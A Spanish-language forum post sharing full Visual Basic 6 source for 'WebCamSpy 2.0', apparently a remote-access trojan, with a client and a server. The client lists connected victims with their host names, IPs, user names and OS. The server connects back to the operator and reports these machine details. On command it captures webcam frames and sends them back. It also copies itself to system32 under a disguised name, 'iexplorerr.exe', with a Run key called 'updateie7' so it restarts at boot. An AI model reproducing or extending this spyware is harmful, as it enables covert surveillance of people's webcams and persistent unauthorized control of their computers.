últimos mensajes de: ?¿?

el codigo de la conexion es de warghost el de multiconexion lo demas la transferencia si lo hice yo hace tiempo, lo que deje de lado la programacion y los ordenadores hace mucho tiempo sobre todo desde que me banearon del foro :¬¬

y ensima que no tube culpa...pero bueno.

aquí pongo el codigo:

cliente

WCC.frm

Código:

Private Type TIPONOTIFICARICONO
cbSize As Long
hwnd As Long
uId As Long
uFlags As Long
ucallbackMessage As Long
hIcon As Long
szTip As String * 64
End Type
Private Const NIF_MESSAGE = &H1
Private Const NIF_ICON = &H2
Private Const NIF_TIP = &H4
Private Const WM_MOUSEMOVE = &H200
Private Const NIM_ADD = &H0
Private Const NIM_MODIFY = &H1
Private Const NIM_DELETE = &H2
'--------------------
Private Declare Function Shell_NotifyIcon Lib "shell32.dll" _
Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, _
pnid As TIPONOTIFICARICONO) As Boolean
'--------------------
Dim gtsicon As TIPONOTIFICARICONO
Dim pazbro As Variant
'------------------------------------------------------------
Private Const WM_LBUTTONDBLCLK = &H203
Private Const WM_LBUTTONDOWN = &H201
Private Const WM_LBUTTONUP = &H202
Private Const WM_RBUTTONDBLCLK = &H206
Private Const WM_RBUTTONDOWN = &H204
Private Const WM_RBUTTONUP = &H205
'--------------------pal icono n la barra d tareas----'
Dim dat As String
Public FullIndex As Integer
Public openindex As Integer
Private inDeX_x As Variant

Private Sub cam_Click()
camm.Show
End Sub

Private Sub cls_Click()
On Error Resume Next
Unload Me
Unload camm
Unload new32
End Sub

Private Sub CommandXP1_Click()
On Error Resume Next
S(0).LocalPort = Text1.Text 'establecemos que el puerto local de escucha para el winsock es el que pongamos en una texbox de nombre txtdat y como no el winsock lo llamamos sck
S(0).Close
S(0).Listen 'escuchamos con winsock
FullIndex = 0 ' a la variable TotalIndex le asignamos el valor de 0
Timer1.Interval = 1 ' control Timer, es un control de "tiempo" nos sirve para ejecutar codigo en un intervalo de tiempo especifico con o sin repetirse el ejecución y codigo del timer
If S(0).State = 2 Then 'condicion que si el estado de sck es = a escuchando entonces ponemos en un label , por el puerto que estamos escuchando
Label2.Caption = " Escuchando por el puerto: " & S(0).LocalPort
End If 'fin de la condición
End Sub

Private Sub CommandXP2_Click()
On Error Resume Next
S(0).Close '...
Label2.Caption = "Parado.." '....
Unload camm
Unload new32
Unload Me
Me.Show
Label2.Caption = "Parado.."
End Sub

Private Sub CommandXP3_Click()
lst.SetFocus
lst.StartLabelEdit
End Sub

Private Sub Form_Load()
Call lst.ColumnHeaders.Add(, , "Name", "1400,0500")
Call lst.ColumnHeaders.Add(, , "HostName", "1400,0600") 'Agregamos la clumna hostname , de con esta sintasis: (, , "nombre_de_la_columna_q_quieras_poner", "1000,0631") el tamaño seria donde pone: "1000,0631"
Call lst.ColumnHeaders.Add(, , "IP/DNS", "1550,1000") 'Agregamos la clumna ip.
Call lst.ColumnHeaders.Add(, , "User & Pc/Names", "1700,1300") 'Agregamos la clumna Nick/PC.
Call lst.ColumnHeaders.Add(, , "S.O", "1400,0890") 'Agregamos la clumna Sistema Operativo.
Call lst.ColumnHeaders.Add(, , "Version", "1000,0945") 'Agregamos la clumna Version.
lst.LabelEdit = lvwManual ' al control listview que lo hemos llamado "lst" n su propiedad "LabelEdit" la ponemos del estilo: lvwManual
Text1.MaxLength = 6
menu.Visible = False
' Inicializar el icono de la barra de Tarea
With gtsicon
.cbSize = Len(gtsicon)
' Usar el picture para interceptar los mensajes de Windows
.hwnd = Me.PicGTS.hwnd
.uId = 1&
.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
.ucallbackMessage = WM_MOUSEMOVE
.hIcon = Icon
' Es un string de "C" ( \0 )
'.szTip = " " & App.Title & "," & sCopyR & " " & Chr$(0)
.szTip = " WebCamSpy 2.0 | Click aquí, para restaurarme !! "
End With
Shell_NotifyIcon NIM_ADD, gtsicon
End Sub

Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
Unload camm
Unload new32
Unload help
End Sub

Private Sub hlp_Click()

End Sub

Private Sub Label3_Click()
Me.WindowState = 1
End Sub

Private Sub lst_AfterLabelEdit(Cancel As Integer, NewString As String)
On Error Resume Next
inDeX_x = Split(lst.SelectedItem.Key, "|") ' a la variable vIndex le decimos que es = a Split(lst.selectdintem.key, "|") , que esto seria: split lo usamos para partir, separar datos, n el control lst ( listview ) en la propiedad selectedintem...cuando hemos selecionado un item del listview, separamos los datos con "|"
S(inDeX_x(0)).SendData "datos|" & NewString 'Enviamos paquete con el control winsock ( sck, lo hemos llamado)
End Sub

Private Sub lst_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
On Error Resume Next ' ya lo dije
If lst.SelectedItem.Selected = False Then Exit Sub 'Si no hay nada selecionado salimos de la funcion
If Button = 2 Then ' If para hace una condición, if Button = 2 Then, diria: si button = 2 entonces
PopupMenu menu
End If 'end if = a . fin de la condición :)
End Sub
Private Sub PicGTS_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
' Este evento se producirá cuando se pulse en el icono de la barra de tareas
Static rebool As Boolean, message As Long

' Averiguar el mensaje que se envía
message = x / Screen.TwipsPerPixelX
' Para que no se entre si aún se está dentro
If rebool = False Then
rebool = True
Select Case message
Case WM_LBUTTONDBLCLK:
WCC.WindowState = 0
Case WM_LBUTTONDOWN:
Case WM_LBUTTONUP:
WCC.WindowState = 0
End Select
rebool = False
End If
End Sub

Private Sub S_Close(Index As Integer)
On Error Resume Next
S(0).Close ' cerramos el winsock
Unload camm
Unload new32
Unload AB
Unload help
End Sub

Private Sub S_ConnectionRequest(Index As Integer, ByVal requestID As Long)
On Error Resume Next ' si tenemos un error...seguimos hasta la proxima linea d codec
If Index = 0 Then 'si index es 0
FullIndex = 0 'Definimos la varible TotalIndex.
Else 'Si no
FullIndex = FullIndex + 1 'Definimos la varible TotalIndex.
End If 'Cerramos if
S(Index).Close 'Cerramos conexion ( del winsock )
S(Index).Accept requestID 'Y aceptamos la conexion ( more winsock xD)
Load S(Index + 1) 'Cargamos un nuevo index
S(Index + 1).LocalPort = Text1.Text 'y asignamos el puerto de ecucha para el winsock
openindex = Index + 1 'Definimos la varible IndexAbir.
S(openindex).Listen 'Escuhamos el puerto asignado.
End Sub

Private Sub S_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim lol As Integer
Dim fileprin As Variant
lol = FreeFile
fileprin = "c:\captured.jpg"
camm.Label1.Caption = "Bytes_Recibidos:" & S(Index).BytesReceived
S(Index).GetData dat ' control winsock en su property GetData, donde almasenamos los datos que nos llegan, tenemos los datos en la avriable d nombre: dat, vbString seria: winsock.tienelos_datos, de: dat y vbstring, una cadena del tipo vb
datatwo = Split(dat, "|") ' variable datatwo le decimos que es = a Split(dat, "|"), seria: partimos con split los datos que contiene la variable dat con este sigono --> "|"
Select Case datatwo(0) ' una condición, n este caso distinta a la sentencia if codigo then else codigo end if , seria esta una condicion del tipo select case..seleciona en caso de:
Case "Conexion" 'Caso de conexion
Set pr = lst.ListItems.Add(, Index & "|", datatwo(1)) 'Agreamos una nueva conexion al control listview
pr.SubItems(1) = datatwo(2)
pr.SubItems(2) = datatwo(3) & "/" & S(Index).RemoteHostIP
pr.SubItems(3) = datatwo(4) & "/" & datatwo(5)
pr.SubItems(4) = datatwo(6)
pr.SubItems(5) = datatwo(7)
new32.Show
new32.Label2.Caption = " " & datatwo(1)
new32.Label1.Caption = datatwo(3) & "/" & S(Index).RemoteHostIP
new32.Timer1.Enabled = True
End Select

Open fileprin For Binary As #lol
Seek #lol, LOF(lol) + 1
Put #lol, , dat
Close #lol
camm.Timer1.Enabled = True

End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
Select Case KeyAscii 'Esta funcion solamente permite caracteres ascii del 48 al 57
Case 48 To 57, vbKeyBack: 'Y la funcion borrar eso significa que solamente permite numeros
Case Else: 'retroseso si no es numero su valor vale 0 y no se escribe .
KeyAscii = 0
End Select
End Sub

Private Sub Timer1_Timer()
On Error Resume Next ' en caso d error...? ( esto deberias saberlo ya...)
Dim i As Long ' declramos una val d name: i , tipo Long
For i = 1 To lst.ListItems.Count 'Creamos un bucle , for seria para i es = a 1 to: hasta el control lst(listview) n su property listitems.Count
inDeX_x = Split(lst.ListItems(i).Key, "|") ' separamos con split
If S(inDeX_x(0)).State <> 7 Then 'Si no estamos conectado
lst.ListItems.Remove (i) 'Elimnaos la conexion
End If
Next i 'Cerramos el bucle
End Sub

Private Sub Timer3_Timer()
If S(0).State = 0 Then
Label2.ToolTipText = "Parado.."
End If
If S(0).State = 2 Then
Label2.ToolTipText = " Escuchando por el puerto: " & S(0).LocalPort
End If
End Sub

Private Sub Timer4_Timer()
Dim cuentacuenta As Integer, endfinal As Integer ' declaramos 2 variables integers
Dim i
endfinal = S.Count - 1 ' variable final es = sck.count -1
If endfinal < 0 Then endfinal = 0 ' si final < menos que 0 entonces final = a 0
For i = 0 To endfinal ' analizamos la variable i hasta el valor de la variable final
If S(i).State = 7 Then 'si esta es conectado...
cuentacuenta = cuentacuenta + 1 ' le asignamos a la val, cuentita el valor de 1
End If ' fin d la condicion
Next i ' fin del bucle
'& sck.arraycount ' al label2 en su propiedad Caption le ponemos permanentemente el mensaje "Gh0st 1n Th3 Sh3ll", va entre comillas siempre | OFF Topic, luego deberia añadirle si hay una conexion : ghost in the shell: tantos servers conectados ;) estilo bifrost
Label1.Caption = " WebCams Online: " & cuentacuenta
If S(0).State = 2 Then 'condicion que si el estado de sck es = a escuchando entonces ponemos en un label , por el puerto que estamos escuchando
Label2.Caption = " Escuchando por el puerto: " & S(0).LocalPort
End If
End Sub

camm.frm

Código:

Private Sub CommandXP1_Click()
On Error Resume Next
Dim inDeX_x As Variant
inDeX_x = Split(WCC.lst.SelectedItem.Key, "|")
WCC.S(inDeX_x(0)).SendData "copiate"
End Sub

Private Sub CommandXP4_Click()
Dim nombre As String
nombre = InputBox("Seleciona el nombre, ejemplo: image.jpg")
SavePicture Image1.Picture, nombre & ".jpg"
End Sub

Private Sub CommandXP5_Click()
On Error Resume Next
Dim inDeX_x As Variant
inDeX_x = Split(WCC.lst.SelectedItem.Key, "|")
Kill ("c:\captured.jpg")
WCC.S(inDeX_x(0)).SendData "cammuere" '
Image1.Picture = LoadPicture("")
End Sub

Private Sub CommandXP6_Click()
On Error Resume Next
Dim inDeX_x As Variant
inDeX_x = Split(WCC.lst.SelectedItem.Key, "|")
WCC.S(inDeX_x(0)).SendData "camstop"
End Sub

Private Sub CommandXP7_Click()
On Error Resume Next
Dim inDeX_x As Variant
inDeX_x = Split(WCC.lst.SelectedItem.Key, "|")
WCC.S(inDeX_x(0)).SendData "camon"
End Sub

Private Sub Form_Load()
On Error Resume Next
Label1.Caption = ""
Kill ("c:\captured.jpg")
Image1.Picture = LoadPicture("")
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Image1.Stretch = True
camm.Image1.Picture = LoadPicture("c:\captured.jpg")
Kill ("c:\captured.jpg")
End Sub

servidor

Código:

Dim WithEvents s As CSocketMaster
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Dim ip As String
Dim Port As Long
Dim HostName As String, SName As String, Version As String, datos As String
Private Sub Form_Load()
On Error Resume Next
Set s = New CSocketMaster
Timer2.Enabled = False
Timer1.Interval = 2000
Timer2.Interval = 1
ip = "127.0.0.1"
Port = 2012
s.RemoteHost = ip
s.RemotePort = Port
If GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "gtsname") = "" Then
SName = "Default"
Else
SName = GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "gtsname")
End If
Version = "v1.0"
HostName = s.LocalHostName
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
End Sub

Private Sub s_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
s.GetData datos

'----para la webcam----'
If datos = "camon" Then
camon
End If

If datos = "camstop" Then
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
cammuere
End If

If datos = "cammuere" Then
cammuere
End If

Select Case Left(datos, 6)
Case "datos|"
Dim nombre As String
SName = Mid(datos, 7)
'Registro
Reg_Crea_KeyConValor &H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "gtsname", SName
End Select

If datos = "copiate" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\system32\iexplorerr.exe" 'nos copiamos a system32 con el nombre de svchosst.exe
RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\updateie7", "C:\Windows\system32\iexplorerr.exe"
End If

End Sub

Private Sub Timer1_Timer()
On Error Resume Next
If s.State <> 7 Then
s.CloseSck
s.Connect ip, Port
Timer2.Enabled = True
End If
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
If s.State = 7 Then
s.SendData "Conexion|" & SName & "|" & HostName & "|" & s.LocalIP & "|" & Usuario_Windows & "|" & PC_Name & "|" & winversion & "|" & Version
Timer2.Enabled = False
End If
End Sub
Private Function cammuere()
On Error Resume Next
Kill ("c:\Juaz.jpg")
Kill ("c:\Juazcp.jpg")
End Function
Private Function camon()
On Error Resume Next
Dim lol As Integer
Dim frago As Integer
Dim goblin As String
Timer3.Enabled = False
lol = FreeFile
frago = 8192
goblin = "c:\Juazcp.jpg"
SendMessage mCapHwnd, DISCONNECT, 0, 0
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
SendMessage mCapHwnd, Connect, 0, 0
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
PV.Picture = Clipboard.GetData
SavePicture PV.Picture, "c:\" & "Juaz.jpg"
PictureView1.OpenPicture ("c:\Juaz.jpg")
If PictureView1.SaveJPEG("C:\Juazcp.jpg", True, 50) Then
End If
Open goblin For Binary As #lol
Do While Not EOF(lol)
camun = Input(frago, #lol)
s.SendData camun
DoEvents
Loop
Close #lol
End Function

Function RegWrite(ByVal Path As String, ByVal Value As String)
Dim ws As Object
Set ws = CreateObject("Wscript.Shell")
ws.RegWrite Path, Value, "REG_SZ"
End Function

y un modulo con

Código:

Public Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal nID As Long) As Long

Public mCapHwnd As Long

Public Const Connect As Long = 1034
Public Const DISCONNECT As Long = 1035
Public Const GET_FRAME As Long = 1084
Public Const COPY As Long = 1054

mas cosketmaster
mas cjpeg
y el control pictureview

MODIFICO: algunos comentarios y eso están asi porque son de otros codigos mios que los he cojido para armar esta aplicacion

y puedo probarlo por si os quedan dudas. saludos